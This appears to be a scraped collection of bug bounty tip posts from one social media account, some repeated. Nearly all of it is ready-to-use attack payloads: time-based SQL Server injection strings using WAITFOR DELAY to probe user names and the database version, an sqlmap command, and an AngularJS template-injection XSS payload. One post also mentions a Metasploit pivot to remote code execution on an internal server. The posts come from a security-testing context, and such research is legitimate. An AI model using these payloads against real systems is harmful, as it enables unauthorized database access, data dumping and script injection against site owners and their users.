Finding the right SQLi payload isn’t always easy
@lu3ky13
Built this with AI (https://t.co/ZNndSrKISU) For POC:
';IF(LEN(USER_NAME())>=5)WAITFOR DELAY '0:0:20'--
#BugBounty#SQLi#bugbountytips#hackerone#SQL
Finding the right SQLi payload isn’t always easy.
If you can’t craft custom logic, use Time-Based techniques to prove control.
Built this with AI (https://t.co/ZNndSrKISU) for a POC:
';IF(LEN(USER_NAME())>=5)WAITFOR DELAY '0:0:20'--
#BugBounty#SQLi#bugbountytips#hackerone
In this walkthrough I pivot from a compromised Windows 7 host into a hidden internal network and achieve RCE on a protected Windows 10 server using Metasploit.
Foothold → Pivot → Internal compromise.
Full breakdown: https://t.co/VP7BidK4mN
#RedTeam#Pivoting#OffSec#hack
SQLi allowed database enumeration and dumping, Still a bit weird the report was closed as Informative
sqlmap -r r.txt --eval="import base64; payload_part='select 1 where 1=1'; GUID='x%27 or length(payload_part)=0'; del payload_part"
#bugbounty#sqli#hackerone#bugbountytips
Simple XSS payload for AngularJS testing.
Older AngularJS versions are still vulnerable to expression injection.
{{$on.constructor('alert(document.domain)')()}}
#BugBounty#XSS#bugbountytips#hackerone
Time-Based SQL Injection Is Still Everywhere!🔥
You can fingerprint the backend DB version with
'; IF (SUBSTRING(@@VERSION,1,1) = 'M') WAITFOR DELAY '0:0:15' --
Delay = proof.
#RedTeam#BugBounty#SQLi#bugbountytips#hackerone
Finding the right SQLi payload isn’t always easy.
If you can’t craft custom logic, use Time-Based techniques to prove control.
Built this with AI (https://t.co/ZNndSrKISU) for a POC:
';IF(LEN(USER_NAME())>=5)WAITFOR DELAY '0:0:20'--
#BugBounty#SQLi#bugbountytips#hackerone